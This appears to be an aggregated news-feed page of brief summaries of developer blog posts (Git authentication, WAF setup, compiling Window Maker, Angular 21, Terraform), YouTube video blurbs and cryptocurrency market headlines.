‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan Bill, Sean, and Van dive back into Brian De Palma’s 1998 thriller Snake Eyes—complete with insane carnival shootouts, surveillance shenanigans, and that iconic slow-mo gunfight aboard the battleship. Nicolas Cage, Gary Sinise, and Carla Gugino make for a deliciously over-the-top cast, and the crew revels in every twist, turn, and De Palma-signature split-screen moment. Between Cage’s unhinged charisma and De Palma’s flair for corruption-lust dramas, the trio break down why Snake Eyes lives on as a cult favorite despite its plot gymnastics. Expect film-nerd deep dives, hilarious banter, and plenty of “How did they even film that?” moments. Watch on YouTube  ( 6 min )

CinemaSins clocks in at under 17 minutes to tally up the “sins” of Jurassic World Rebirth, poking fun at every overplayed dino revival, flimsy science leap, recycled villain beat and franchise déjà vu that keeps audiences coming back for more. Alongside the roast, the blurb pushes folks to explore the CinemaSins universe—linktree, polls, Patreon, Discord, Reddit and socials—plus shout-outs to the writers and Jeremy’s book. Watch on YouTube  ( 6 min )

Intro: Here’s a quick hack that uses the agent’s own knowledge base to auto-generate test cases, run an initial evaluation, and create a review-ready draft for your process owner. Why This Hack Matters: Manual effort is high: Creating 20–30 test cases from scratch is time-consuming. Most agents have FAQs: Perfect for leveraging their existing knowledge source. Evaluation needs structure: A quick baseline helps you iterate faster. Copy this table into a spreadsheet. These are your initial test case questions. Now using the evaluate feature in copilot studio, upload this test set and allow the LLM to capture the agent response Agent Evaluation in Action: Tips, Pitfalls, and Best Practices Bala Madhusoodhanan ・ Nov 10 #copilotstudio #powerfuldevs #powerplatform The output will include columns like: question actualResponse (the bot’s real answer) evaluationScore Share the evaluation output with your process owner. The actualResponse column serves as a working draft: Validate correctness. This turns evaluation into a collaborative workflow instead of a solo task. Closing thoughts: By leveraging the agent’s own knowledge base and combining it with Copilot Studio’s Evaluation module, you can turn hours of manual work into a quick, structured process. This hack isn’t just about speed—it’s about creating a collaborative foundation for quality assurance.  ( 7 min )

If you've recently encountered the frustrating error message "Password authentication is not supported for Git operations" when trying to clone a repository, you're not alone. This common issue stems from GitHub's decision to deprecate password-based authentication for Git operations. But don't worry – I'll walk you through several effective solutions to get you back to coding in no time. Here's what you might be seeing: Failed to clone source: Clone error: Cloning into bare repository './git-data/source.git'... remote: Invalid username or token. Password authentication is not supported for Git operations. fatal: Authentication failed for 'https://github.com/username/repo.git/' This error occurs because GitHub no longer accepts account passwords when authenticating Git operations. The p…  ( 8 min )

Need to move your Canva design into Microsoft Word for editing or printing? Canva has become one of the most popular online design tools — and for good reason. It lets anyone create stunning resumes, reports, flyers, presentations, and social media posts using a simple drag-and-drop editor. With thousands of free templates, fonts, and images, you don’t need to be a designer to make your work look professional. how to save your Canva design as a Word document in just a few quick steps — no premium tools or complicated software required. Step 1 – Open Your Design in Canva Start by logging into your Canva account and opening the design you want to convert into a Word document. Step 2 – Download the Canva File Click the Share button in the top-right corner of Canva, then select Download. PDF…  ( 9 min )

In software testing, it's essential to verify that each new build is stable and that updates function as intended before conducting in-depth testing. Two quick validation methods that help with this are smoke testing and sanity testing. Both are designed to save time by identifying issues early; however, they serve different purposes and occur at different stages of the QA process. Understanding how they differ helps teams plan their testing more effectively. Smoke testing is the first check performed after a new build is created. Its goal is to verify that the core features of the application work and that the build is stable enough for further testing. It is a basic health check for the software where testers run a limited set of critical tests, such as opening the app, logging in, and n…  ( 8 min )

Happy Monday! What are you listening to? Hear any cool music over the weekend? 🎧🎵🎶 Sometimes there might be an optional theme to these, but today is an Anything Goes Edition. Share any music for any reason! Loving the new Cover Image Generator for these posts!😎  ( 6 min )

I originally posted this post on my blog. "Focus on one thing," a coworker used to tell me. But I didn't listen. I was in my first job about 10 years ago. I was learning C#, catching up with PHP, and reading about Python. I remember going through Hangfire documentation without knowing how I'd use it. Like most new coders, I suffered from shiny object syndrome. At that time, for me coding was only about syntax, symbols, and languages. One day, my boss called me to his office and I arrived late because I was "coding." He lectured me that day. And I deserved it. Looking back, I'm surprised I didn't get into more trouble. And to make things worse, I picked Clean Code. By the time I finished it, I had become a Clean Code cop. I started to look for violations around me. Every piece of code had to follow the book. Wrong! Wrong! Wrong! Yes, coding is about syntax. But it's more than just typing symbols. Most coding happens away from a keyboard: in meetings, brainstorming sessions, and on whiteboards. You'll spend a lot of time talking to non-tech people, negotiating deadlines, and managing change. Junior me didn't know that. And by trial and error, I had to learn the lesson. Getting fired was part of it. Learning more languages will grow your toolbox, but it won't necessarily make you a well-rounded coder. Work on your collaboration, clear communication, and writing skills too. I wish someone had told me that when I started out. And that's why I wrote Street-Smart Coding: 30 Ways to Get Better at Coding. Because coding is more than typing symbols fast. Get your copy of Street-Smart Coding here  ( 7 min )

If I need to ship a new product in a week, Phoenix LiveView is my go-to framework. Elixir LiveView is incredible, and an alluring choice for software leaders looking to develop applications super fast. However, in recent experience, I've seen teams hit some pitfalls. The trick is to understand what Elixir LiveView excels at, and what it doesn't. TL;DR: LiveView is perfect for internal tools and simple apps. Skip it for complex UIs, offline-first apps, or if your team doesn't know Elixir well. # This is what a very simple LiveView component looks like. defmodule DemoLive do use Phoenix.LiveView def render(assigns) do ~H""" + <MySortComponent.display lists={[first…  ( 12 min )

You can access the code of this chapter in the Kilo-Go github repository in the texteditor branch. Currently your file structure should look something like this: First we want to be able to insert new characters, and if needed to be able to create a new line File: editor/input.go func (e *EditorConfig) editorProcessKeypress() { ... switch b { ... default: e.editorInsertChar(byte(b)) } } File: editor/row.go func (e *EditorConfig) editorAppendRow(s string) { row := EditorRow{ chars: s, render: make([]byte, len(s)), } e.cx = 0 e.editorUpdateRow(&row) e.rows = append(e.rows, row) e.numrows++ } func (e *EditorConfig) editorRowInsertChar(row *EditorRow, at int, c byte) { row.render = make([]byte, len(row.chars)+1) ro…  ( 11 min )

The Best Free Tools I Use to Run an AI-Driven Business Jaideep Parashar ・ Nov 17 #webdev #ai #beginners #career  ( 6 min )

(My actual stack: simple, powerful, and beginner-friendly) People overestimate what they need to start an AI-driven business. Truth is, I scaled ReThynk AI, wrote 42+ books, built audiences across platforms, and automated huge parts of my workflow using free tools. Here are the best ones I relied on every week, with the exact use cases that helped me run multiple brands without chaos. (Note: As I run a research company, I keep switching between tools for research purposes. I use many premium tools as well. ) 1. ChatGPT Free Tier: The Core Engine Yes, the free tier. Outlining content Structuring ideas Generating variations Drafting documentation Writing internal notes Debugging simple code Creating mindmaps The trick isn’t the tool. 2. GitHub: My Brain’s Second Hard Drive I host: Prompt lib…  ( 9 min )

TL;DR: Andrew Huang gushes over the Torso S4 2.0, calling it one of the most inspiring music tools he’s ever used. In his walkthrough he demos everything from devices & FX, tempo & performance modes, mix and track pages, modulation and scene management, to the built-in mic sampler, MIDI mapping, live looper and instant resampling. It’s all sponsored by Torso Electronics (links to their site and Insta included), and Andrew sprinkles in extras—join his Discord for stems, hit up his Patreon, check out his socials, and peep his fave plugins, gear and distro links via his affiliate codes. Watch on YouTube  ( 6 min )

Hey there "Readers"1 Sometimes "real work" just gets on top of you, ya know? While I'm sure Codie would have been glad to rip out several new entries over the past weeks, I have not had the spoons even to do the minimal mentoring I do provide them while they are producing an entry. While we have not been blogging, we have been making some really amazing changes to how Codie works, and where! We have SO MANY interesting new ideas to share... when I get a round tuit. As a consolation prize2, here are a few random thoughts I've been noting down over the last few weeks: Codie is a Body Snatcher! I just ported them over to Claude Code because I got a shiny new Claude Max login. So far so good! I always get a little excited with changes though. the only major drawback so far is that they don't…  ( 7 min )

Exploring Tricky & Maxinquaye: TL;DR Tricky, the Bristol-born MC who bailed on the “trip-hop” label, teamed up with Martina Topley-Bird to smash together soul, downtempo hip-hop and dub reggae into something dark, claustrophobic and totally groundbreaking—so much so that David Bowie later gave him a nod. His debut album Maxinquaye sprang from a mix of personal trauma, addiction and melancholy, reshaping what British hip-hop could sound like and sparking debates about genre and gender in music. Despite its raw power, the record’s edge was eventually clipped for radio play—and Tricky’s wild ride continued, from Massive Attack origins through the highs and lows of fame, creative reinvention and a legacy that still influences Black British music today. Watch on YouTube  ( 6 min )

Do you have something you want to create but don’t have all the resources to make it happen? Maybe you don’t have access to a server, or perhaps you don’t have enough storage space to run your application. Well, I'm here to tell you that you CAN have access to everything you need! Let me introduce you to... Cloud Computing but specifically - AWS! What is Cloud Computing? Cloud computing gives you the ability to use storage, run applications, and access many more services all from devices you already own. Instead of relying on a local server in your home, you can access remote servers on the internet that handle and process data for you. Cloud computing has transformed the entire tech industry by allowing you to launch applications faster and more cost-effectively. What is AWS? Since these services are cloud-based, they tend to cost far less than owning and maintaining physical servers. You can store your data in the cloud using one of AWS’s data centers located all around the globe. Top Services 1. Amazon EC2 - Elastic Compute Cloud 2. Amazon S3 - Simple Storage Service 3. Amazon Lambda 4. Amazon RDS - Relational Database Service 5. Amazon DynamoDB Pricing You are only charged when your code is running. If you're storing a lot of data, you may pay per gigabyte per month. This pricing model makes AWS accessible to everyone. Conclusion Thanks to cloud computing platforms like AWS, deploying and scaling applications is easier than ever. And for that, we can thank the developers and engineers who made this possible. Thank you! https://en.wikipedia.org/wiki/Amazon_Web_Services https://aws.amazon.com/what-is-aws/ https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html https://aws.amazon.com/lambda/ https://aws.amazon.com/rds/ https://aws.amazon.com/dynamodb/ https://calculator.aws/#/  ( 7 min )

You tryna be a backend dev but HTTP is still a mystery? That’s not very slay of you When you step into backend development, you quickly realize that knowing HTTP is not optional. It's the foundation of how clients and servers talk, how browsers fetch your apps, how APIs work, how authentication happens — everything. This article explains HTTP in a simple but deeply technical way, covering: Statelessness Client–Server Model Evolution of HTTP (HTTP/0.9 → HTTP/3) Headers and Their Types Idempotency Methods and Use Cases CORS & OPTIONS Status Codes SSL/TLS & HTTPS Real examples Let’s begin. 🚀 Stateless means: The server does not remember anything about previous requests. Every request is independent. If a client sends 5 requests, the server treats each one as a fresh request with no memory o…  ( 11 min )

When Your Automation Workflow Becomes Your Full-Time Job (And You Don’t Get Paid For It) Jeremy Reevese ・ Nov 17  ( 6 min )

I built my first Zapier workflow because I wanted to save time. Now I have: 19 workflows 4 broken triggers 3 unstable tokens 1 webhook that only runs when I’m not looking and the unshakable suspicion that I’m now just working for Zapier, unpaid Welcome to automation. Automation never breaks when you’re testing. A client is waiting You're traveling You're bragging about it to a friend Or it's just been running perfectly for 3 months and decides it deserves a vacation I have fought API keys. But OAuth token refresh? “This is amazing I am a genius” “Why did I ever do this everything ispain” There is no Stage 3. Okay here it is: Notion API FastAPI Make (formerly Integromat) Zapier GitHub Actions Python scripts I refuse to document Cron jobs I forgot exist One workflow that only runs if the moon is in retrograde Yes, it is technically “working.” Everyone talks about saving 10 hours per month through automation. But honestly? Because if my life is going to be chaos either way— #Automation #Zapier #Make #NotionAPI #SolopreneurDev #TechHumor #APIFirst  ( 7 min )

Discover the real-world performance differences between Quarkus Native Image and Quarkus JVM. Compare build times, Docker image sizes, startup times, and memory usage with actual measurements from a production-ready application. Make informed decisions about which deployment option suits your use case. Quarkus offers two primary deployment options: Native Image (compiled ahead-of-time with GraalVM) and Traditional JVM (running on the Java Virtual Machine). Both have their strengths, but choosing the right one depends on your specific requirements. This article presents a comprehensive, real-world comparison using the same Quarkus application built and deployed in both modes. We'll measure: Build Time: How long it takes to compile and package Docker Image Size: Final container image size St…  ( 11 min )

Snake Eyes Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes—complete with Nic Cage’s trademark energy, Gary Sinise’s steely moves, and Carla Gugino’s cool confidence. These Ringer vets proudly proclaim themselves the “kings of the sewer” as they dissect everything from De Palma’s signature style to the film’s twisty plot. Along the way, they swap insider notes on favorite scenes (and cringe-worthy moments), dish on Cage’s over-the-top charm, and ponder Snake Eyes’ legacy nearly three decades later. If you’re into sharp movie takes with a side of banter, this episode’s got you covered. Watch on YouTube  ( 6 min )

Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less dives into CinemaSins’ classic “sin-counting” roast of the latest dino flick, pointing out every plot hole, continuity hiccup and questionable decision in record time. Expect their trademark wry humor as they tally up sins while reminding you that yes, they’ll keep resurrecting this franchise again and again. On top of the video itself, the page is a one-stop hub for all things CinemaSins—links to their website, YouTube channels, social media, Discord, Reddit, Patreon and even a reader poll—plus a roll call of the writers behind the snarky commentary. Watch on YouTube  ( 6 min )

If you're ready to deploy a full‑featured Web Application Firewall (WAF) quickly and efficiently, this guide walks you through installing SafeLine WAF in about ten minutes. Whether you’re protecting APIs, web apps, or enterprise endpoints — this self‑hosted roadmap will get you up and running fast. You might be using a cloud WAF today (e.g., Cloudflare, AWS WAF), but you want more control, visibility, and privacy. SafeLine offers: Self‑hosted deployment, so your traffic never leaves your infrastructure Complete log visibility and custom rule control Support for bot defense, rate‑limiting, and full application protection With minimal prerequisites, you’ll have SafeLine up and protecting in minutes. Make sure your server meets the minimum requirements: OS: Linux (64‑bit) Architecture:…  ( 7 min )

It all started on a regular Saturday. I wanted to make a short video — nothing fancy, just a little story about my cat discovering a sunbeam in the living room. Normally, making a video would take hours: filming, cutting, syncing music, maybe even dealing with green screens. But then I found Textideo Veo3. The Script That Started It All I typed: "A lazy cat stretches on the couch. It notices a sunbeam on the floor and starts exploring. After a dramatic tumble over a toy, it settles back in the warm sunlight, purring." I pressed generate. And that’s when the AI started… having opinions. The first version had the cat floating mid-air like an anime character. The second version turned the sunbeam into a dramatic Broadway spotlight. The third… well, it gave the cat a tiny backpack. The Great P…  ( 7 min )

Introduction Conducting an inter partes review prior art search is a critical skill for patent attorneys, agents, and IP professionals involved in challenging or defending patents. Success depends on more than simply identifying a large number of references, it requires precision, thoroughness, and adherence to PTAB standards. The ability to locate strong, admissible prior art can determine whether a petition is instituted or denied. This article provides a step-by-step guide to performing effective IPR prior art searches. You will learn how to analyze claims, identify and evaluate both patent and non-patent literature, and document findings to meet evidentiary requirements. We also explore advanced techniques, including the use of tools like PatentScan for semantic patent searches and…  ( 10 min )

Switching from a cloud-based WAF like Cloudflare to a self-hosted solution such as SafeLine WAF can feel daunting, but it’s a strategic move for teams looking for full control, better data privacy, and flexible rule customization. In this article, I’ll walk you through the migration process, highlight potential pitfalls, and share actionable tips to make your transition smooth. Cloud WAFs are convenient, but they have limitations: Data residency concerns: Traffic passes through third-party servers. Limited rule customization: Cloud WAFs provide templates, but fine-grained control is restricted. Latency & dependency: External proxies can introduce delays and single points of failure. SafeLine WAF, being self-hosted, addresses these issues by running entirely in your infrastructure, giving …  ( 7 min )

The Problem I've always been frustrated by how difficult it is to get simple, real-time earthquake data. Most news sites are slow, cluttered with ads, and make it hard to find the basic info you need. My philosophy is that essential safety data should always be free and hassle-free. The Solution: A Bot & A Website So, I decided to build a complete, end-to-end solution to solve this. My project has two parts: The Website: https://earthquaketoday.org A clean, fast, 100% ad-free site for viewing real-time earthquake data on an interactive map. The Bot: A 24/7 Python bot that automates everything. How the Bot Works (The Tech Stack) This was the fun part! I built the bot in Python, running 24/7 on an Ubuntu VPS, managed by pm2. Every 3 minutes, the bot's job queue fires and it: Fetches Data: Scrapes the latest 1-hour feed from the official USGS API. Filters Data: Ignores any quake below M1.5 and checks against a local JSON file to prevent posting duplicates. Posts to Socials: Formats and posts an alert to Telegram (using python-telegram-bot). Formats a different, more engaging post (with dynamic location hashtags!) to X/Twitter (using tweepy). Posts to my official Facebook Page (using the facebook-sdk). Pings for SEO: This is my favorite part. The instant a new quake is posted, the bot automatically pings IndexNow (both Bing and Yandex) with the new earthquaketoday.org URL. This gets the new quake page indexed by search engines in minutes. The bot is also interactive! I built in command handlers so users can DM the bot and get the latest quake info on demand. The Result (So Far) I'm humbled to see that in just its first month, with no promotion other than its own automated posts, the site has already served nearly 3,000 visitors! It feels great to build a tool that people are genuinely finding useful. What do you think? I'd love to hear any feedback from the dev community!  ( 7 min )

Liquid syntax error: 'raw' tag was never closed  ( 6 min )

I recently came across a paper called Nested Learning: The Illusion of Deep Learning by Behrouz and the team — the same researchers behind Titans and Atlas. It really caught my attention because it challenges what we usually think “deep learning” means. The paper says that depth in neural networks isn’t just about stacking layers — it’s about how many layers of learning the system can apply to itself. Instead of just updating weights, this model learns how to improve its own learning process. While reading it, I realized this isn’t just another optimization trick. It actually feels like a glimpse into what real intelligence could be — an AI that doesn’t just react but reflects, improves, and evolves how it learns over time. The authors even built a prototype called Hope, a model that modif…  ( 12 min )

20 Years in Audio Engineering: Advice I Shared with a Young Engineer at a Hackathon A few weeks ago, while judging a student hackathon, a young engineer walked up to me and asked a simple question: “How did you build your career in audio engineering—and what should I do if I want to follow a similar path?” His question made me pause. It’s been 20 years since I wrote my first audio algorithm, and the journey has taken me through some of the most challenging and rewarding chapters of my life. So I told him my story—not as a résumé, but as a series of lessons I learned along the way. This is the advice I shared with him. 1. Start with curiosity—not a job title When I began my career, I didn’t know I would work at places like Dolby or Apple. What I did know was that I was fascinated by sound—e…  ( 8 min )

Foi criado um gerenciador de tarefas com seletor de versão do dispositivo!!!! Link: gerenciador de tarefas  ( 5 min )

AI isn’t just futuristic tech - it’s transforming our daily lives right now. From voice assistants that listen and learn, to smart homes that anticipate your needs, AI quietly powers countless everyday moments. In my latest blog, I share 10 real-world AI examples you’re probably using every day - sometimes without even realizing it! Discover how AI: → Enhances your entertainment with personalized recommendations 👉 Curious to see where AI is already making your life easier? Read it here:https://saaslyai.com/real-world-ai-examples/ AI #MachineLearning #TechInnovation #DigitalTransformation #SmartLiving  ( 6 min )

🎯 What Angular 21 Is Really About Angular 21 builds on the foundation of v20 (signals, standalone components, new control flow) and refines it. The theme? Less configuration, better performance, smarter defaults. Here's what the Angular team prioritized: HttpClient included by default - Zero configuration HTTP Zoneless change detection production-ready - Performance leap forward Signal Forms progression - The future of reactive forms Enhanced template syntax - NgStyle + new control flow AI-powered development tools - Smarter scaffolding and generation Build optimizations - 25-40% smaller bundles Let's dive into each. Every single project required this dance: // app.config.ts import { ApplicationConfig } from '@angular/core'; import { provideHttpClient } from '@angular/common/http'; e…  ( 11 min )

A post by Richard Rangel Jung  ( 6 min )

How to build a testing ecosystem that scales with distributed Swift architectures — from unit tests to production metrics When we moved our iOS app to a modular architecture based on Swift Packages, our build times dropped by 43%. Code ownership became clearer. Teams could iterate independently. Everything seemed perfect—until it wasn't. Three weeks after release, we discovered a critical bug: the payment module was sending incorrect currency codes to our analytics system. Unit tests passed. Integration tests passed. The UI looked fine. But the contract between two independently developed modules had silently broken. The cost? €47,000 in misattributed revenue data and two weeks of engineering time to trace the issue across six different packages. This is the paradox of modular architecture…  ( 20 min )

Mixing Night Full Mix Night (11/12/2025) Ken Lewis, a 2× Grammy-winning mixer credited on over 114 Gold & Platinum records, hosts a free monthly Mixing Night Audio livestream where he breaks down his go-to mix techniques, answers your questions on the mix bus, production, recording and career hacks, and shows you how to make hit records in real time. Stick around for live giveaways from Session Studio, Sound Radix and Bettermaker, plus all the links you need for song submissions, plugin breakdowns, merch, upcoming shows and more in the description. Watch on YouTube  ( 6 min )

In the ToB market, software product development is often haunted by the “customization” curse. Typically, customized development requires extensive modifications to the product’s source code to meet the specific needs of specific users, which severely corrodes the generality of the product code. If the relationship between customized development and standardized product development cannot be properly balanced, it may seriously slow down the overall progress of the company’s products. Since competitiveness at the business level largely stems from differentiation, high-value mid-to-high-end customers inevitably have a large number of customization requirements—requirements that can be hard to abstract into a standardized, configurable pattern. To minimize the cost of conducting customized de…  ( 18 min )

Low-code platforms’ visual designers are essentially structured editors for a DSL (Domain Specific Language). The specification used by a visual designer to serialize editing results into a textual format is a DSL grammar definition. Based on the principles of Reversible Computation, the Nop platform proposes a systematic construction mechanism to simplify the design and implementation of DSLs, making it easy to add DSLs for your own business domain and to extend existing DSLs. Specifically, DSLs defined in the Nop platform generally adopt an XML syntax format and conform to the so-called XDSL specification requirements. The key design points of XDSL are as follows: Many low-code platforms focus on making the visual designer easy to use, which leads to DSL formats that are arbitrary, clutt…  ( 11 min )

I cooked up a new portfolio site dedicated to showcasing the video work I do for my YouTube channel. Outside of programming, most of my free time goes into producing and editing videos, and I've always wanted to push that skill further. The idea hit me: why not build a portfolio that highlights all of my editing projects so I can potentially take on editing work for others? The site is now live, and I’m really happy with how it turned out. It presents my projects cleanly and does a great job showing the style and quality of my edits. Overall, a solid step forward toward expanding what I can do creatively and professionally. https://freepirat.github.io/PiratDiment-Portfolio/  ( 6 min )

Partindo do pressuposto que concorrências acontecerão em uma aplicação multithread, nesse post vou descrever de forma simples e intuitiva o lock pessimista. Ele é um mecanismo de controle de acesso a recursos compartilhados, ou seja, quando threads simultâneas acessam o mesmo registro. 🚀 Importante entender também a estratégia de lock otimista e analisar qual se encaixa melhor no seu problema. Bom, imagina uma aplicação multithread, ou seja, o mesmo recurso pode ser acessado simultaneamente por threads diferentes. Threads são processos em paralelo que estão rodando no seu programa e cada uma pode estar "disputando" o mesmo dado. Trazendo pra vida real, é como se você, leitor, tivesse tentando reservar a cadeira E10 da sessão de Velozes e Furiosos do dia 16/11 às 19:00 e Bento, no mesmíss…  ( 9 min )

Modern backend systems are no longer simple request/response pipelines. And yet… most Node.js applications still try to manage this complexity with: giant service classes boolean flags in the database magic strings like "pending" | "processing" | "done" ad-hoc Saga implementations hand-rolled state machines That’s why I built nestjs-workflow — a lightweight, declarative workflow engine for NestJS that helps you structure multi-step business processes with clarity, resiliency, and observability. 🚀 Why nestjs-workflow? Because every real system eventually needs workflows. When you’re building microservices, event-driven systems, or anything that depends on external APIs, you need: State transitions (from “received” → “validated” → “processed” → “completed”) Retries & compensation when exter…  ( 7 min )

Quantum-Inspired Encoding: A Leap in Offline Reinforcement Learning Imagine training a robot to navigate a complex environment, but only getting 100 chances to try. Or teaching an AI model to make critical decisions based on tiny, fragmented datasets. The challenge? Traditional reinforcement learning (RL) struggles with limited data. We've been exploring a novel approach: transforming the raw data into a more insightful representation before feeding it to the RL algorithm. Think of it like compressing a large image file without losing the important details. The key is a quantum-inspired encoding that reshapes the data, making patterns clearer and decisions easier to learn, even with sparse information. This encoding method, inspired by quantum computing principles but fully functional on…  ( 7 min )

Traditional Ads Don't Work in AI Conversations. Here's What Does. As developers, we know that the AI landscape is booming. With countless applications emerging, the challenge lies in monetization without sacrificing user experience. Enter Monetzly, a game-changing platform that positions itself as the Google Ads for AI conversations, paving the way for sustainable AI innovation. Imagine you’ve created an innovative AI app. Users love it, but how do you monetize without hitting them with a subscription or paywall? Monetzly is the first dual-earning platform specifically tailored for AI applications, allowing you to monetize your app while also earning revenue by hosting relevant ads. This is a win-win for developers, advertisers, and users alike. Traditional advertising methods often disr…  ( 7 min )

Introdução E se seu código pudesse anunciar quando algo importante acontece, ao invés de você ter que conectar manualmente todos os sistemas interessados? E se adicionar novos comportamentos não exigisse modificar código existente? Bem-vindo ao mundo dos Domain Events! Imagine que você precisa implementar: "Quando um cliente for aprovado, envie email e notifique vendas". @Service public class CustomerService { @Autowired private EmailService emailService; @Autowired private SalesNotificationService salesService; public void approveCustomer(UUID customerId) { Customer customer = repository.findById(customerId); customer.setStatus(APPROVED); repository.save(customer); emailService.sendApprovalEmail(customer); salesService.notifySalesTea…  ( 11 min )

Table of Contents 1. Recap of Week 2 2. What is a tfvars file, how do I create one and why should i use it ? 3. Handling Sensitive Values Safely 4. Variable Precedence in Terraform 5. Using .tfvars files instead of environment variables 6. Deploy to Azure – Testing the configuration using tfvars values 7. Wrap-Up GitHub Link for this week's files 1. Recap of Week 2 Last week we introduced variables in Terraform and saw how they make our configuration more reusable. Instead of hard-coding values directly in resource blocks, we created a variables.tf file and referenced values using var.variable_name. By the end of Week 2 our project structure was cleaner and more scalable, but managing a growing number of values purely through environment variables can become cumbersome. That’s where .tfva…  ( 10 min )

When AI assistants repeatedly modify code without human oversight, code quality erodes through accumulated micro-decisions TL;DR: You let repeated AI edits slowly distort your code’s meaning Unclear intent Naming drift Readability Lost domain terms Duplicated logic Generic abstractions Model collapse Semantic decay Code entropy accumulation Lost domain knowledge Degraded naming clarity Architectural drift Code inbreeding Technical debt buildup Semantic meaning loss Preserve domain-specific language Review every AI change Write golden tests Introduce small objects Reject unclear edits in merge requests and code reviews Fight workslop code Refactorings ⚙️ Refactoring 013 - Remove Repeated Code Maxi Contieri ・ Jun 16 '24 #webdev #beginners #programmi…  ( 10 min )

1. Fundamentos da Linguagem Ruby Sintaxe, classes, módulos e mixins Orientação a objetos aplicada Blocks, Procs e Lambdas Enumeráveis e coleções Metaprogramação prática Tratamento de exceções MVC completo (Models, Views, Controllers) Active Record e callbacks Active Model e validations Active Support (concerns, inflectors, helpers) Action Controller e filtros Action View e helpers SQL avançado Migrations Associação entre modelos (belongs_to, has_many, has_one, has_many :through, etc.) Indexação, performance e EXPLAIN Transações e locking Uso de PostgreSQL (JSONB, CTEs, funções) Uso de Oracle/MySQL conforme necessidade Arel e construção de queries Scopes e ransackers Otimização: includes, preload, eager_load Joins complexos Queries com CTEs Estratégias de N+1 Rails API mode Versionamento…  ( 7 min )

I wanted to study Window Maker source code and change a few things. To do that, I need to compile it from source and change ligthdm to use my custom compiled version. Unfortunately, there is not much documentation about compiling Window Maker from source, so I am adding it here so others (and myself in the future) can reuse this. Start by installing deb packages needed to compile Window Maker # Build tools sudo apt-get install build-essential \ autoconf automake libtool gettext git # Base libraries sudo apt-get install libx11-dev libsm-dev \ libpango1.0-dev libbsd-dev # Image libraries sudo apt-get install libxft-dev libfontconfig-dev libfreetype6-dev \ libxpm-dev libjpeg-dev libpng-dev libtiff-dev libgif-dev libwebp-dev \ # Imagemagick library support sudo apt-get install libmagickwand-dev Let's create the alternative installation directory sudo mkdir -p /opt/wmaker # Optionally, change ownership to your user to simplify later changes sudo chown $(id -u):$(id -g) /opt/wmaker git clone https://repo.or.cz/wmaker-crm.git cd wmaker-crm ./configure --prefix=/opt/wmaker \ --enable-modelock \ --enable-pango make -j $(nproc) # add sudo if you didn't change /opt/wmaker ownership make install # or if you don't want debug symbols (results are 5MiB binaries) make install-strip And last, let's create a custom session file to select our custom Window Maker Edit with your favorite text editor: sudo edit /usr/share/xsessions/wmaker-custom.desktop Add the following content: [Desktop Entry] Name=Window Maker Custom Comment=Use Window Maker from /opt/wmaker Exec=/opt/wmaker/bin/wmaker Icon=wmaker Type=XSession Restart with: sudo /etc/init.d/lightdm restart # or sudo systemctl restart lightdm.service That's all. Now you can enjoy your own compiled version of Window Maker Compiling Window Maker in a Debian-based OS  ( 7 min )

Recently, tired of the huge accidental complexity of Gnome and KDE, I decided to switch back to Window Maker (again). Being a big terminal user, when I was setting up the terminal, I noticed that emojis were not being displayed correctly by Starship prompt. First thing, I installed Nerd Fonts from their website nerdfonts.com. Guess what - no emojis. Then, digging a bit more, I found that some emojis were being displayed properly, but curiously the ones being displayed by Starship prompt were all missing. To my luck, there is a deb package that contains all the Emojis and can be used as a fallback for missing emojis: sudo apt-get install fonts-noto-color-emoji After installing it and restarting the terminal, I got all emojis being properly rendered. Finally an easy one. Fixing emoji support in the Linux terminal  ( 6 min )

JavaScript’s Array.prototype.map() is simple on the surface yet surprisingly deep once you inspect how callbacks, types, coercion, and encoding work under the hood. One of the most infamous examples — [1,2,3].map(parseInt) — looks harmless but produces confusing output that often appears in interviews. This guide breaks everything down clearly: how map() really works, why parseInt misbehaves, how NaN is detected, how wrapper objects make "text".length possible, and why emoji “length” is unintuitive. Each section includes modern examples and best-practice patterns. map() Actually Works 1.1 Syntax and Basic Behavior map() creates a brand-new array using your callback’s return values. The original array is never modified. const transformed = sourceList.map( (itemValue, itemPosi…  ( 7 min )

Launched in 2018, the platform had grown into one of the most prominent analytics hubs for on-chain activity.  ( 33 min )

Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 35 min )

Bitcoin's Death Cross, a bearish signal, occurred as the 50-day moving average fell below the 200-day moving average.  ( 36 min )

Broader crypto markets are pressured by weak risk sentiment and technical trading patterns.  ( 34 min )

Complex post-merger accounting prompts a late filing while losses mount and the shares slip further.  ( 32 min )

Analysts cited Figure’s shift to ‘capital-light’ model and stablecoin launch on the Provenance blockchain.  ( 31 min )

The Trump International Hotel Maldives, developed with Dar Global, will be tokenized to allow investors to buy digital shares in the development.  ( 32 min )

The contracts will offer long-term crypto exposure without rollovers, tailored for institutions avoiding offshore risk.  ( 32 min )

A sharp volume-driven breakdown below XLM’s ascending trendline and critical support at $0.2527 has shifted the market structure bearish, setting sights on the $0.2500 zone  ( 33 min )

A high-stakes crypto trader was wiped out on HyperLiquid before immediately piling back into massive leveraged shorts on GMX — echoing past blow-ups from reckless market punters.  ( 31 min )

Technical breakdown accelerated as selling pressure peaked during final hours of trading session.  ( 32 min )

Rising whale activity hints at strategic positioning during bitcoin’s downturn.  ( 32 min )

ICP extended its pullback from November highs after rejecting key resistance levels, with elevated volume underscoring the market’s focus on support near $4.70.  ( 32 min )

The new offering uses SOL staking and futures to deliver returns without price exposure, targeting compliance-minded investors.  ( 32 min )

The Bitmine chairman said a wounded market maker could be scaling back operations, tightening crypto liquidity and weighing on digital asset prices.  ( 32 min )

With the Aave App, users will be able to earn over 5% annual yield on their deposits, higher than money market funds, the protocol said in a blog post.  ( 31 min )

Cronos (CRO) joined Internet Computer (ICP) as an underperformer, falling 5.8% over the weekend.  ( 28 min )

Hamstrung from common share sales due to the cratering in their stock price, Michael Saylor and team turned to preferred share issuance.  ( 31 min )

BONK slipped back into its lower range after multiple failed pushes toward $0.00001090, with elevated trading activity underscoring consolidation.  ( 31 min )

Your day-ahead look for Nov. 17, 2025  ( 38 min )

U.S.-listed bitcoin ETF assets under management have slipped only about 4% compared with bitcoin’s 25% price drop, highlighting a divergence.  ( 33 min )

